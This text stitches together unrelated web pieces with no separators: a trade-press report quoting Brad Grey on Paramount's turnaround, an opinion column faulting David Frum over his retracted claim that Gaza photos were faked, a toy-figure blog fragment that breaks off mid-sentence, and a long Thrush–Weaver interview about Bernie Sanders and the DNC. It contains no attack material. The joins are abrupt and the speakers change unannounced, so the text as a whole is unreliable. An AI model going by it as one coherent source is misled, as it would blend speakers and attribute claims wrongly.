The Redstones now have investment bankers looking at ways to re-unite their two media companies, Viacom and CBS, which were split in 2006. That reunion could take form before year’s end, likely with Les Moonves atop the fused entities. Everything will be reviewed and for Grey, that brings a chance to present what he expects will be a much rosier future for a post-Dauman Paramount, removed from an era that had been defined by a strategy of severe cost-cutting at the studio. While Disney was spending billions buying companies like Marvel, Pixar and Lucasfilm that set up its slates for the next decade and beyond, Viacom was spending comparable sums buying back $15 billion in shares that since 2004 have dropped 57.2% in value at a time when the S&P 500 was up 15.6% in the same period.
Is a resurgence really in the offing? Grey certainly thinks so, and is eager to lead the charge. He spoke exclusively to Deadline of plans that include the repair of Paramount’s image in the film community, where it has been seen as a penny-pincher with a torturous business affairs process; the stabilization of a production division that has watched a long list of production presidents come and go; the inability to launch branded sequels like Terminator Genisys, Star Trek Beyond and Teenage Mutant Ninja Turtles; and the restocking of a development cupboard that went relatively bare, as the departures of Marvel, DreamWorks Animation and DreamWorks SKG left the studio scrambling to fill its slate, sometimes with festival pre-buys and acquisitions.
Grey is aware of the criticism, but is undaunted by it. “I’m on each and every one of those perceptions and issues,” he insisted, when asked about a litany of plaints. “Some I think are appropriate perceptions, and maybe appropriate in fact,” he said. “But I’m on them and I really do believe there will be a resurgence in time. I feel very confident and optimistic that we will take every one of those perceptions and right them.”
Paramount Pictures
We asked why it should be Grey who ushers in Paramount’s new chapter when he has long sat atop a studio that just ended the worst year of his tenure, with concerns about a paucity of blockbuster franchises that could quickly turn things around.
“Recently, we’ve missed more than we should have,” he said. “I take responsibility for our rough run at the box office, my first truly rough year in the 11 years I have been here.”
But he had no apologies for anything except, perhaps, parent company policies over which he did not have final say.
“This is a legendary institution and I am honored the Redstones have allowed me to occupy this seat for 11 years,” Grey said. “I felt I owed them to fight the fight for Paramount, even if I couldn’t diversify as I had wanted, something truly necessary in the volatile movie business. It’s almost impossible to cut your way to success in a creative industry. I had a contract to honor. I did not quit. I pushed to make the strategy work, and did it for a time. At the same time, I feel we would have fared better if we could have altered the strategy and diversified earlier.”
The product reel was encouraging. Of a coming roster of films that ranges from Oscar contenders like Denzel Washington’s Fences and Martin Scorsese’s Silence to the blatantly commercial Transformers: The Last Knight in June, Grey said, “We have a very strong, diverse slate ahead.” More, he insisted that his staff is equipped to execute a turnaround. “We also have a stellar team of executives, people I am very proud to work with,” he said. “We have recently added talent from Google, Facebook and Activision to strengthen our marketing and digital teams, and we intend to add more to other areas like business affairs.”
Perhaps unfairly, Paramount’s vice-chairman Rob Moore attracted public blame for the studio’s woes when he was fired in September — an ouster that occurred mostly because Moore had pressed the case for Dauman’s plan to sell 49% of Paramount to China’s Dalian Wanda Group. It wasn’t clear how much of the $4.9 billion would have been earmarked to help Paramount, but the majority would have gone towards curing the stock buyback shortfalls, and it was also clear that Sumner and Shari Redstone didn’t favor the deal. Internally, Moore, to whom most division heads reported, was not so much a villain as the unhappy face of Dauman’s cost-containment strategy. He ran the studio with hands-on, fiscally conservative principles so controlling that executives were threatening to leave. When Grey couldn’t convince Viacom to commit the resources to match tentpole-heavy rivals like Disney, Warner Bros and Universal, his own mission was narrowed to staying in the black. Moore’s financial acumen helped make that happen, as Paramount turned a (sometimes very modest) profit for a decade before sinking into the red this year.
While Grey gave Moore much autonomy, he sometimes stepped in. That happened, for instance, when Moore halted pre-production of Mission: Impossible 6 over star and producer Tom Cruise’s compensation. Grey, who is generally said to have a sure hand with talent, got the film back on track, though he declined to say how much Cruise will be paid.
Grey hasn’t had the latitude to buy big pieces the way that rivals have. Two of his first big deals made prior to the ascension of Dauman from Redstone’s estate lawyer to Viacom chairman came when Grey made a seven-year marketing distribution deal with Ike Perlmutter’s Marvel, and then acquired DreamWorks SKG for $1.6 billion, from which Paramount got the billion dollar Transformers franchise. When Perlmutter wanted to sell the company, Paramount got first crack, but in the tight-fisted cost-cutting Dauman regime, that deal was not made. Marvel has proven such a bonanza for Disney that its $4 billion price tag seems a bargain in hindsight. Bold plays like Marvel and DreamWorks stopped once Dauman took the reins and had his own ideas.
Viacom sources said that Grey was even thwarted in one case where he was willing to help even when he didn’t have much to gain. In a corporate sideshow that had no direct connection to Paramount, Grey once hoped to salvage Viacom’s relationship with Jon Stewart when the comic made it clear to Viacom he was planning to end his run as the host of Comedy Central’s The Daily Show. Having started his career by haunting comedy clubs to sign stand-up talent — Grey first met Les Moonves at the Improv where Moonves tended bar between acting gigs — he knew something about the psyche of comics, and Grey knew Stewart from his appearances on several episodes of The Larry Sanders Show, on which Grey was executive producer. Stewart, Grey argued, was simply burned out and would embrace a new deal that would allow him a nine-month rest before returning for the election season. But Dauman was aloof, and didn’t want Grey’s help. It remains unclear whether Stewart could have been swayed. But before Viacom knew it, Stewart proteges Stephen Colbert and John Oliver exited for CBS and HBO, respectively, and Comedy Central had lost its mojo.
Under Viacom’s current regime — in which Dauman still has no permanent replacement, though insider Bob Bakish was named acting CEO and board member Shari Redstone is a leading voice — Grey is confident he has support and a mandate for change. Strikingly, his most vibrant plans involve a build-up in television, where growth is typically quicker than in film.
Grey points to the success Paramount TV’s Amy Powell has enjoyed in three short years. “For the last three years, we have been working hard to build a television production business, a new business, one that in my opinion could potentially exceed the revenue of the movie business someday,” he said.
Elaborating on the studio’s catch-up status in television, Grey said: “The major studios who have succeeded in this day and age have had a diverse pipeline of product. We were kept from diversifying, for a decade.” Regarding progress so far, he added that Paramount has “sold 11 shows, every place from Netflix to Showtime, Amazon, Hulu. We’re really doing well, all under Amy Powell’s division. She is doing great and we are building something formidable.”
USA Network
Three Paramount series will air this fall — Shooter on USA Network, Berlin Station on Epix, and School Of Rock on Nickelodeon. With or without a CBS merger, Paramount’s television division is expected to expand, in part by building on movie properties like Fatal Attraction, Varsity Blues or The Italian Job.
On the film side, Grey said one priority is to create an animation division that would expand Paramount’s presence in the family market, following if not exactly matching rivals like Disney and Universal. But that will take time, including the location of the next John Lasseter or Chris Meledandri to build it. “We’re slowly building an animation business,” said Grey.
He added: “The first picture that shows the vision of what we’re trying to do is Amusement Park, which we’ll have out in 2019. We have done some animation; we won the Oscar for Rango, we had SpongeBob, we’re doing Sherlock Gnome with Elton John. We also made a deal with Liz Murdoch for a company called Locksmith, a wonderful animation studio she is backing out of the UK.”
Known as a master of Hollywood relationships, Grey will need his skills to hold and expand Paramount’s ties in the film world. A core alliance has been David Ellison’s Skydance Media, its partner on films like the next Mission: Impossible and a World War Z sequel that has so far been elusive, though Grey is trying to make it happen with Brad Pitt’s Fight Club director David Fincher. But Skydance says it is not currently discussing an extension of its Paramount relationship under a deal that expires in 2018.
Skydance
As that deal, one of Paramount’s most important, nears its end, Skydance has evolved from the studio’s primary co-financier of tentpoles (excluding Transformers) into something closer to the more freewheeling Legendary Pictures. The relationship, once largely monogamous, has become strained at times and Skydance, with $700 million in new funding, placed projects at other studios after Terminator Genisys and Star Trek Beyond fell short of expectations. When Paramount balked at co-financing the Mars mission thriller Life with Ryan Reynolds because in-house producer JJ Abrams had a similarly themed project in God Particle, Ellison set his picture at Columbia — which premiered the first trailer for the Memorial Day weekend 2017 opener during Sunday’s The Walking Dead episode — while taking the Dean Devlin-directed Geostorm to Warner Bros. For the moment, Skydance is committed to make six more films under its current deal including Baywatch, Annihilation, Mission: Impossible 6 and WWZ 2 if that sequel comes together.
If future ties with Skydance are in question, Grey will also have to bolster relationships with other lot-based producers, most of whom don’t bring half the film’s budget with them. At present, key lot-based production companies include Abrams’ Bad Robot, Martin Scorsese’s Sikelia (Scorsese follows Silence with the Robert De Niro mob film The Irishman for Paramount), Lorenzo di Bonaventura (Transformers), Jerry Bruckheimer (Top Gun 2), and relative newcomers Leonardo DiCaprio’s Appian Way (Grey hopes hard that DiCaprio will follow The Revenant with The Devil In The White City) and Hasbro.
Prominent in that equation is Michael Bay, a priority for Grey since Moore was the Transformers director’s key studio relationship. Beyond the surprising failure of Bay’s Platinum Dunes-produced Teenage Mutant Ninja Turtles sequel, the firing of Moore left an especially large gap on the China front, where he had been Paramount’s point person. Much of his China work involved Michael Bay’s Transformers films, the fifth of which — Transformers: The Last Knight — is set for release next June with a spinoff on the Bumblebee character loosely slotted for 2018. Moore had been working on a significant deal for the film’s release in China, one that had been important to Bay, sources said. That negotiation has now stalled, and Grey will likely head to China himself by early December to pursue an alternative that will please the producer-director whose Hasbro toy based series has provided the biggest triumphs of Grey’s tenure since Robert Downey Jr.’s Iron Man left for Disney with the rest of the Marvel superheroes.
That planned China trip is one indicator of the fresh engagement that is now required of Grey. Moore’s exit, in fact, suddenly left him with more direct responsibility — and a work load that might conceivably require hiring a top executive to share it. (In the past, seasoned prospects like Michael De Luca and Mary Parent shied away from joining Paramount’s executive ranks, with its tight administration and close fiscal constraints.)
“With Rob’s departure, for the time being, I have eight direct reports and I’ve jumped into it,” said Grey.
“I’m overseeing marketing and distribution of the movies with Megan Colligan, and working with Marc Evans on a daily basis to package the movies, managing finance and business affairs, and then working with the people who make the movies to keep those relationships and efforts going at Paramount,” he continued.
“I’m loving it more, because I’m more engaged than I have been for years. It’s a wonderfully invigorating time. It has been a wild ride, but it’s like an ending to that, and a rebirth and I feel ready for it.”
Most of those tasks, of course, might also be easier with CBS and its assets strengthening the overall company. One person who has monitored Hollywood’s scramble for distribution rights to future James Bond films, for instance, suggested that even a newly energized Paramount would not be a serious contender for a deal many speculate will end up at Warner Bros unless Sony really steps up to keep 007. A CBS-run studio, on the other hand, might make Paramount a more attractive landing pad for the franchise. Similarly, video game giant Activision Blizzard is considering an overall distribution deal for its own movies based on game properties. Since little high-profile IP hasn’t been gobbled up, that becomes a potentially important deal. Hypothetically, new resources and closer attention from Grey could put Paramount in contention for that deal, or one like it.
Asked how the product reel’s preoccupation on prize contenders with perhaps limited crowd appeal — Arrival, Fences, Silence, Allied, and Florence Foster Jenkins are all likely to have some sort of awards campaign — when majors now most covet global tent poles that earn 70% of their grosses overseas, Grey strongly defended his attraction to traditional Hollywood values. He does, after all, have such tasteful projects on his resume as the Emmy-winning The Sopranos and the Oscar-winning The Departed.
“I think there has to always be a place for the kind of movies where people believe they are going to be told a great story, and be entertained, and moved,” he said. “There must be a place for that. I don’t think it will ever go away. It may be a niche in our business, for a cycle. But that will just be a cycle. People are not going to go away from good storytelling, they’re just not.”
Of bigger films, he said, bluntly, that he wants them: “The version of the movie business we’re in right now, where you can see something like Doctor Strange or some other big blockbuster, is fantastic. Believe me, I’d love to make as many of them as possible and we will try to do that.”
Overall, he said that Paramount will simply have to build without the luxury of properties like those owned at, say, Disney. But he insisted that Hollywood dynamics, both in film and television, make a build-up possible.
“If you don’t have the benefit of owning franchise IP, you have to find another way,” he said. “You see it from television’s resurgence, that people have that appetite. Netflix has 55 new TV shows a year, and puts them all on the air. Networks maybe used to do 12, and maybe picked four of those. It’s a whole different time now, and there is room for everybody. You asked if market share will go up. I hope so, but there is a profitable business there for us in managing 15 movies. If you manage your business profitably, you can build the library.”David Frum presents himself to the world as a level-headed moderate, a man repelled by crazy fringe figures and conspiracy theories. The center-right pundit and former Bush speechwriter also recently spent a day declaring that three major media outlets were faking images from the Gaza war, borrowing this analysis from a blogger who thinks he once took a snapshot of a ghost-cat as it was dematerializing.
Here's the backstory. On July 24, Reuters, the AP, and The New York Times all published photos of two brothers in blood-soaked clothes at a Gaza hospital. The men's home had been destroyed in an Israeli airstrike, and the blood belonged to their father, who had been heavily injured in the attack. Frum then fired off a series of tweets pronouncing the photos fakes and speculating about why Hamas' propagandists had created them. The sole source for his accusations was a blog post by a fellow named Thomas Wictor.
I won't waste your time describing Wictor's argument, because at this point even Frum doesn't accept it. The photojournalism site BagNews thoroughly debunked the charges, and LobeLong scored an interview with Wictor that made it pretty clear that this was not a well-grounded man. (In addition to confirming that his ghost-cat post was not a joke, Wictor told LobeLong that you can safely conclude a Palestinian is a Hamas operative if he has a beard with no mustache.) Yesterday Frum finally retracted his accusations in a post at The Atlantic.
Frum's retraction was headlined "An Apology," but it's one of those yes-but apologies where the author spends most of his time making excuses for his error. Frum explains his "skepticism" about the images—that's what he calls it, his "skepticism"—in great detail, but he never acknowledges that his tweets were not simply skeptical: They swallowed Wictor's analysis uncritically, declaring forthrightly that the pictures were fake. Readers might also notice that while Frum apologizes to one of the photographers he accused of deception, he doesn't spare a single word for the people in the photo, though it is if anything even more offensive to accuse them of faking their grief.
Because I spend a lot of time writing about political paranoia, I can't help remembering the many times Frum has written or said things like this:
I realize there's something absurd in trying to debunk conspiracy theories. People don't reason their way into them, and they are not reasoned out of them.
Now he has spent a day promoting a conspiracy theory of his own. And while he was eventually reasoned out of it—apparently you can do that after all—his retraction may still give you the impression he thinks the flood of bloody images from Gaza is some sort of Matrix that would vanish if we all popped the red pill.
Frum is also the guy who gave George W. Bush the phrase "axis of evil," in which those famous rivals, Saddam's Iraq and the mullahs' Iran, were supposedly secretly aligned. (That's what an "axis" is, you know. An alliance.) So the man is no stranger to dubious conspiracy tales. But he consistently describes that sort of thinking as though it's something those other people do, not a phenomenon you can see among establishment figures like Frum as well as fringy folks like Alex Jones. Let this episode be a reminder that paranoia can flourish at the top as well as the bottom of the social pecking order.Today’s main act!
Hello everyone, Kahotan here! (@gsc_kahotan)
Today I’m going to be taking a look at…
Kagamine Rin: Tony Ver.!☆
Following on from the previously released Hatsune Miku and Megurine Luka comes a 1/7th scale figure of Kagamine Rin based on the illustration of her by popular illustrator Tony!The unique feeling of Tony’s illustrations has been faithfully preserved in figure form through gentle colors and translucent parts, all sculpted in intricate detail for fans to enjoy. Careful attention has been |
hour north of Burlington, so I would pick him up at 7 in the morning and then I would drop him off about 1:00 at night, and then drive home, and then come back the next morning. So we spent a lot of time in the car together.
THRUSH: That's a lot of Bernie, though.
WEAVER: That's a lot of Bernie.
THRUSH: [Laughs] Well, and kind of--what did you guys talk about? Well, first of all, he's got a reputation--I know from people who know him--for being--he can be occasionally cranky, right? [Laughs]
WEAVER: I've heard that.
THRUSH: Was he--did you drive too fast? Did you drive too slow?
WEAVER: No, no. I think I drove--can be a fast driver but I only drive as fast as the law allows. But‑‑
THRUSH: I have trouble believing that.
WEAVER: But we--no, we get along quite well. We have for years and years.
THRUSH: Well, come on. What was--what did you guys talk about? Clearly you guys had all that time. Do you remember anything, like, that really connected you to him early on? Did you have any sort of common interests?
WEAVER: No. We would talk about--you know, Bernie is--politics is really his life, so we talked a lot about politics, a lot about the campaign. You know, occasionally baseball. He likes baseball.
THRUSH: I didn't know that.
WEAVER: Yeah.
THRUSH: Really?
WEAVER: Yeah.
THRUSH: He's--what kind of fan is he?
WEAVER: He's a Red Sox fan.
THRUSH: That is--you know, I'm from Brooklyn.
WEAVER: I know. Well--
THRUSH: Well, I guess he doesn't have any Dodgers left.
WEAVER: Right. Right. Right. Well, that was a very moving part of his life, I think, when they lost the Dodgers.
THRUSH: Did he really? He really felt it?
WEAVER: Yeah, he did, yeah.
THRUSH: That's kind of the Doris Kearns Goodwin route, right, going from a Brooklyn Dodgers fan to a Boston Red Sox fan, because it's just loser to loser for that period of time, right?
WEAVER: Wow.
THRUSH: Sorry, man. So you're a Red--you're a life-long Red Sox fan?
WEAVER: No. I'm a Nats fan.
THRUSH: You're a Nats fan?
WEAVER: Yeah.
THRUSH: Boy, you really--for somebody who has a reputation as being steadfast and holding your allegiances, that's kind of a--
WEAVER: Well, that's the Expos. Those are the old Expos.
THRUSH: You liked the Expos?
WEAVER: You know, when I was growing up, you know--where I grew up the closest city was 60 miles--was 60 minutes away, was Montreal, Quebec.
THRUSH: Oh, wow. So you went to the hold--
WEAVER: I grew up way up north.
THRUSH: Park--Jarry Park, right? Park Jarry?
WEAVER: Yep, way up north. Yes. I've been there.
THRUSH: Gary Carter--
WEAVER: Yeah.
THRUSH: --Andre Dawson.
WEAVER: And their names actually are in that stadium.
THRUSH: Really?
WEAVER: Yeah.
THRUSH: Very cool. So you come about this honestly. This isn't bullshit.
WEAVER: See?
THRUSH: So early on with--do you consider him to be--was he always an insurgent? I mean, obviously when he ran Burlington he was a very meat-and-potatoes kind of mayor, right? I mean, he really dealt with stuff. Tell me the transition that you've seen in him. You knew him from a very early age. How have you, kind of, like, seen him change over the years?
WEAVER: Well, he was. I mean, as mayor of Burlington he was very much--you know, they used to--as a pejorative--you know, people on the ultra-left would call him a sewer socialist, right, because he was concerned about picking up garbage and plowing the streets and all those kinds of things. But he knew, you know, if you want to have a progressive government you've got to be able to deliver. You have to deliver, right? People want--
THRUSH: Right.
WEAVER: --I mean, those are things people care about.
THRUSH: Right.
WEAVER: And, at the same time, you know, Burlington was one of the only cities with its own foreign policy.
THRUSH: Tacoma Park being the other one.
WEAVER: Right, right. But people--but that was fine with people as long as he was able to, you know, to deliver on the municipal services that they needed. I mean, what's changed about him? I mean, you know, he's much more--he is, you know, much better, I think, now, as a negotiator and as someone who can navigate sort of power centers than he was as a, you know, insurgent mayor in Burlington, where it was much easier just to--you know, I mean, basically what they did is they electorally bludgeoned their opponents to death by slowly but surely defeating them at the polls. But, you know, you can't do that in the Congress.
THRUSH: What did you call that? We just had a panel‑‑I should just say we just had a panel where you went to war with Mark Penn, which is highly entertaining. We'll put it on the Internet so you guys can see. We'll link to it in this thing--where you used the term "Leninist discipline," right?
WEAVER: Leninist party discipline.
THRUSH: Right. So that's kind of Burlington model, right?
WEAVER: Well, I wouldn't--I mean, actually, I used that to describe the Clinton platform.
THRUSH: I'm aware of how you used it.
WEAVER: Yes. Yes.
THRUSH: So--yours more Trotsky-ite, right? But the--so in terms of--so he was--so you didn't really have to cut deals back then, and--so you watched him‑‑watched this evolve when he was in the House.
WEAVER: Yes.
THRUSH: That is kind of the paradox about this guy, right? There is--you know, it was really funny. For as much as ACA is a huge issue and his advocacy of the public option is a big part of who he is, he was not, when I covered that story in the Senate, he was never considered a vote that they were going to lose, right?
WEAVER: Right. Right.
THRUSH: He was always--so talk about that a little bit. There was a core of accommodation--not accommodation; that's probably a pejorative--but there's a core of compromise in this guy.
WEAVER: Well, look. So what he understands is how do you move the ball forward as far as you can, as fast as you can.
THRUSH: Right.
WEAVER: And he never passes up an opportunity to move the ball forward.
THRUSH: And then, when was the first time you really saw--like, what was a formative experience in terms of negotiating either in the Senate or the House, that you saw him really learn these lessons on how to do this?
WEAVER: Well, the ACA was certainly one of those times, and I remember in the House, you know, he was--you know, we were in the minority pretty quickly because the Republicans took over in '94. He came down in '90, well, '91, I guess, technically. But, you know, in '94 we quickly became a part of the minority. And, you know, being in the U.S. House and a minority is not fun.
THRUSH: No. Not at all.
WEAVER: Being in the majority is not fun sometimes either, especially as a junior member, just because it's such a top-down institution, and the majority always wins, or almost always wins. But, you know, he learned to negotiate. I mean, he would make these sort of right-left coalitions with--you know, with Ron Paul and Dana Rohrabacher and a rogues' gallery of people on the sort of far, far right.
THRUSH: The cranky caucus.
WEAVER: The cranky--right.
THRUSH: [Laughs]
WEAVER: You know, on his side he had people like Pete DeFazio or Dennis Kucinich, and, you know, they would craft these amendments and they would manage to win, you know, on the floor of the House.
THRUSH: He doesn't--he can be contentious. He's not an enemy-maker, right? I mean, the guy is like--it's an interesting component because, like, you look at him--the same thing about you, by the way. That's a characteristic you have. Like when--I think when people first meet you, you could be somewhat intimidating, right? But then you kind of--but you're not--well, to me anyway. But he's not somebody who people really make long-term--is he a guy who keeps, like--who has--do you think he's a guy who actually has enemies?
WEAVER: Well, he doesn't take cheap shots, you know, and he fights on--you know, he's very ideological, obviously. I mean, he's committed to his principles and issues that he fights for, and people know that. And he doesn't take cheap shots or cheap partisan shots at people. They know when they're fighting him that he's fighting for a reason.
THRUSH: And he doesn't tend to get--that was a--
WEAVER: He's not personal at all. He's really not interested in sort of personal politics or politics of personal destruction. That's not his thing at all.
THRUSH: Let's move ahead into the more relevant present. One of the things that really struck me--you know, it's so funny. People have kind of a very fixed view of him, and I think the reality of Bernie Sanders is somewhat different than what people observe. One of the things--I think he's an extraordinarily--one of the most disciplined politicians I've ever covered, right.
WEAVER: Yes, absolutely.
THRUSH: And one of the things I thought was extraordinary about the other night in the Wells Fargo Center was he showed some real personal emotion. Like there was--obviously, at the reading of the roll call, there was--clearly he views this as moving the ball forward in terms of the issues that he cares about, and you guys had these victories on the platform. But for, I think, a 10-, 20-minute period there, he was really feeling what it meant personally, right? Did you perceive that too?
WEAVER: Yes.
THRUSH: Was that a big moment for you guys?
WEAVER: No, no. No, absolutely. I mean, to start where he--I mean, if you look at the film clips of him announcing his presidential campaign--
THRUSH: Like rushing out there--
WEAVER: Right, right, in the Senate, swamped, right, with, like, I think Michael Briggs might have been with him, his communications director. But, I mean, there was no backdrop, no placard--
THRUSH: Right.
WEAVER: --no crowd, no nothing, right? And it was like, Senate swamp, a few reporters, skeptical reporters I'm sure, and to be standing there in front of the--you know, the Democratic Convention, you know, with a sea of people with Bernie signs, really sort of validating what he has been talking about for the last 15 months in this campaign but the last-
THRUSH: Forty years.
WEAVER: --40 years of his life.
THRUSH: He got--the word I would use--
WEAVER: Fifty years.
THRUSH: --verklempt. He got really--not to get Yiddish--but, like, he really was sitting there--does he feel--I mean, yes, he's loathe to express this stuff in personal terms. This is not his shtick.
WEAVER: He's not--yes, it is not about him.
THRUSH: But does--come on. But isn't this a personally deeply gratifying thing, when your entire life's work is rewarded there on the floor?
WEAVER: Of course, validated. Well, I mean, I would say less rewarded but validated--
THRUSH: Yeah.
WEAVER: --right? I mean, because even people in that hall who didn't vote for him, you know what I mean, when we polled people, I mean, we obviously did a lot of polling in the campaign--
THRUSH: Right.
WEAVER: --even people who supported Hillary Clinton, a huge swath of those people actually agreed more with him on the issues and they were voting for her for some other reason besides, you know, being aligned on the issues. So, you know, what he is talking about, and we talked about this in the panel we just had, you know, the party has--the rank and file of the party has really moved sharply--
THRUSH: Right.
WEAVER: --in his direction.
THRUSH: Right, and, you know, having--the juxtaposition of you and Penn was really interesting, because Penn really represents where that place was. The question is, you know, will it revert back, and do you think it will revert back?
WEAVER: No, and I, actually--we wrote about this in an e-mail that Bernie sent out. You know, in 1980, when Reagan became president, you know, not only did he move the Republican Party to the right but the whole country to the right, and really, it was his election, that movement to the right, which allowed this sort of corporate takeover of the party in the '90s. So I think we're back now more into the historic trajectory of the Democratic Party, more towards sort of the social Democratic Party, and I think it's heading in that direction. I think the '90s were really an aberration.
THRUSH: This combination of a pragmatist and a persuader, which Bernie is a persuader. I mean, he was really able to energize people. Were you--obviously we have Tim Kaine. Bernie has said a couple of things about Tim Kaine. I mean, what do you generally think about the Kaine pick, personally?
WEAVER: Well, I mean, you know, I voted--I live in Virginia. I personally voted for Tim Kaine for Senate. So--and, you know, he is obviously more conservative than Bernie is and probably more conservative than Hillary Clinton is. So, you know, I would have hoped for a more progressive pick, but, you know, when you're the presidential nominee you really get to pick who you want to pick. I mean, I really do believe that.
THRUSH: Bernie was--I don't think he was ever really serious under consideration. Warren really wasn't under very serious consideration. Do you think that was a mistake?
WEAVER: Well, we'll see, obviously. I mean, I do think that--I think, as time goes on, more and more people will sort of take in what it really means to have a President Trump. I mean, if you think about what Reagan did to the country with his tenure, you know, what would a Trump presidency do to us for generations, really?
THRUSH: But do--I mean, in general, do you think the ticket would be stronger with Bernie on it?
WEAVER: My personal view?
THRUSH: Yeah.
WEAVER: Yeah, sure. Of course. I do. Absolutely.
THRUSH: Do you think Bernie feels that way?
WEAVER: No, we really haven't talked about it. He was never really that interested in being vice president.
THRUSH: Why?
WEAVER: Because it's not--because he's a fierce advocate for what he believes, and, you know, often the role of vice president is to stand behind the president, nodding.
THRUSH: So he wants the freedom of movement, essentially.
WEAVER: Yeah. No, I think that's right. So in that way I think--I mean, even from her standpoint, in terms of governing, you know, might not have been the best pick for him, right?
THRUSH: Right. How about Warren? I mean--
WEAVER: Well, I don't know her as well, personally. I don't know, you know, to be able to assume that role. I mean, Joe Biden sort of epitomizes the sort of dutiful vice president who, you know, supports the president regardless--I mean, I don't know what disagreements they had on policy but I'm sure they did.
THRUSH: Gay rights. Gay marriage.
WEAVER: Yeah.
THRUSH: They actually had a ton of differences--I mean, they had a ton of disagreements. I just wrote a piece where you play--you have a funny cameo in it, talking about how Plouffe and Obama essentially forced Biden out of the race, right?
WEAVER: Right. Right. Right.
THRUSH: They moved him right out of the way.
Well, let's talk a little bit about that, this notion, because a lot of people--there's still a lot of people running around, and they're all over my Twitter feed and they're all over me, talking about how rigged this thing is, the DNC e-mails indicate a certain level of coordination, or at least a presumption of coordination.
WEAVER: Right.
THRUSH: Well, first of all, what do you think it says about the DNC's relationship with the Clinton campaign, and what do you think the thing that I wrote about, the coordination between Obama and Clinton during the course of this whole campaign?
WEAVER: Well, I mean, I have to say, frankly, that the president and vice president, I thought, were very disciplined in staying out of the race, frankly, in a public way, and I know the senator appreciates it and so do I. You know, the president indicated that he would stay out, and he did, and I think it was best that the voters, you know, in the Democratic primaries and caucuses ultimately make the decision about who they wanted to be the nominee. So I think they did the right thing, frankly, for the party and for the country.
You know, in terms of the DNC, I mean, clearly we had complained loudly and often about the DNC's bias toward the Clinton campaign. You know, these e-mails certainly brought it out in black and white, right before the convention, and I think it was really sort of the law straw in terms of Debbie Wasserman Schultz.
THRUSH: Well, look. You know, I mean, the other reporting that I did earlier this week was, you know--and it's something I've known forever--there were a bunch of Obama people, senior Obama people, who wanted her gone. I wrote about this in 2012, man. You know, they wanted her out. Messina wanted her out. Patrick Gaspard wanted her out. And then there was a bunch of Clinton people. I reported that Podesta, a year ago, went to the White House and wanted her gone.
Do you think that, in the larger sense, in terms of the real interaction between the DNC and Clinton, do you think there really was--I mean, do you think--I guess my question is, was Debbie really that big a player? Was the DNC that big a player?
WEAVER: Well, I don't know. I mean, it certainly was not a determinant in the race but I would say that, you know, in things like the debate schedule, clearly that was a problem. You know, we ultimately went to court on this data dispute, where they showed up for our data, not long before the Iowa caucuses. You know, we went to court‑‑
THRUSH: Which really was going to kill you.
WEAVER: Oh, it would--it was killing us.
THRUSH: Yeah.
WEAVER: I mean we were without 48 hours. We were sending volunteers home in Iowa, because--
THRUSH: And we are referring, of course, to the incident in which two or three staffers of yours took a peek inside of the data file. You guys claimed that there was nothing pernicious about it. The Clinton people went nuts.
WEAVER: Right. We fired the person involved.
THRUSH: Yep.
WEAVER: And, you know, there was a subsequent investigation, paid for by us and the DNC, which bore out exactly what we said, that there was nothing taken from them. So, yeah, but what happened is, you know, the way campaigns are run these days, they're very data-driven, and information about voters or these voter files that have information about voters and their past voting history, you know, without that information you can't run a campaign. And so we would have volunteers come to our Iowa offices and we had to send them home, because we didn't have access to this data. It got to be a Friday night and I said, "We just can't go the whole weekend," because weekends, obviously, you have a lot of volunteers coming in. So we ultimately went to federal court and the DNC, you know, caved at that point and gave us back our data.
But even during that time period, you know, I had senior people at the DNC calling me and saying, "Look, we're trying to get Debbie to change her mind and she's adamant about not doing it." So, you know, a lot of this was personality-driven, really.
THRUSH: She hung around Philly after she--I mean, you know, you can't--yeah, I don't--she has the right to do whatever she wants to do but a lot of people in the party thought that wasn't necessarily constructive, as a party-building--
WEAVER: Right.
THRUSH: Pretty ironic, however, that like Sanders and you, people who were viewed as setting the place on fire, in the end turned out to be more constructive in party-building than the chairman--chairwoman of the party herself, right?
WEAVER: Well, look. You know, we fought this race. We fought it hard, but I think we fought it cleanly. You know, it doesn't always look that way when you're on the receiving end of it.
THRUSH: [Laughs]
WEAVER: But I think in hindsight people on the other side realize that that's the case.
THRUSH: So I asked you kind of a question half in jest, at this panel, which was--and it had been suggested to me by a bunch of people--doesn't it make a lot of sense for your organization, insofar as it still exists, to plug and play in the DNC? You are the energy of this party right now, right? You are--and even the Clinton people. The other thing that I don't think people fully realize, Jeff, is how you guys revolutionized the game in terms of online fundraising--
WEAVER: Right.
THRUSH: --and also the creation of this content that Tad and other folks had a hand in. Why not have the Sanders folks kind of just take over the Democrat--you know, you guys are bitching about how the game was rigged against you on this stuff. Why not just, you know, take the--storm the castle and just take it?
WEAVER: Well, I mean, we're happy to play whatever role we can that's constructive. I mean, obviously there are people in the DNC now--I don't know what you mean by "storming the castle." It's not like we're going to race the Ivy Street gates at the DNC headquarters.
THRUSH: Why not? No, I'm kidding.
WEAVER: That was Glenn.
THRUSH: That was me, not him.
WEAVER: But, you know, I know Donna Brazile. I've had conversations with her in the last couple of days and I'll have conversations with her in the next few days, so I think this she's very interesting, in reorienting the party.
THRUSH: Do you think she gets it?
WEAVER: I do think she get is. Yes, absolutely.
THRUSH: And you do think a lot of the Sanders folks, and the modalities that you guys invented, are going to be transferrable to the DNC.
WEAVER: I do if it is willing to transform itself. I mean, if you just try to overlay these over the current DNC I think they'll fall flat.
THRUSH: Well, I guess the open-and-close primary thing is the really seminal argument here, right?
WEAVER: Well, that's really one of the arguments, yes. I mean, you know, the Democratic Party has to come to grips with the sort of modern reality that, you know, young people are increasingly aligning themselves as independents, even though they may consistently vote Democratic, and to sort of shut those people out of the nominating process, I think, is a mistake.
THRUSH: And sort of identifying yourself with being more liberal, not in the political sense but more liberal in the practical sense, of letting as many people in the room as possible is good for branding, right?
WEAVER: Exactly right. I mean, the more you participate with, you know, in your words, a brand, the more comfortable you become with it and the more sort of aligned you become with it.
THRUSH: I guess I don't know this. Are you a registered Democrat or are you an independent?
WEAVER: I'm in Virginia. We don't register by party.
THRUSH: Oh. That's right. Damn it. It keeps--the V-states, man.
If you could register, would you register as a Democrat?
WEAVER: Yeah, I'd register as a--yes, I would.
THRUSH: And would you have done that in Vermont, if you had been given the option, when you were up there?
WEAVER: At one point I would've, yes.
THRUSH: [Laughs] What was that point?
WEAVER: Well, I mean, when I was younger I would've--I was an independent.
THRUSH: How long--just in general, in terms of the spectrum, how long--when would you have registered as a Democrat in Virginia if you had the opportunity? I mean, like--
WEAVER: Well, I've been in Virginia since '94 or '95. I don't know. Probably in that time period.
THRUSH: Okay. So you are capital-D Democrat.
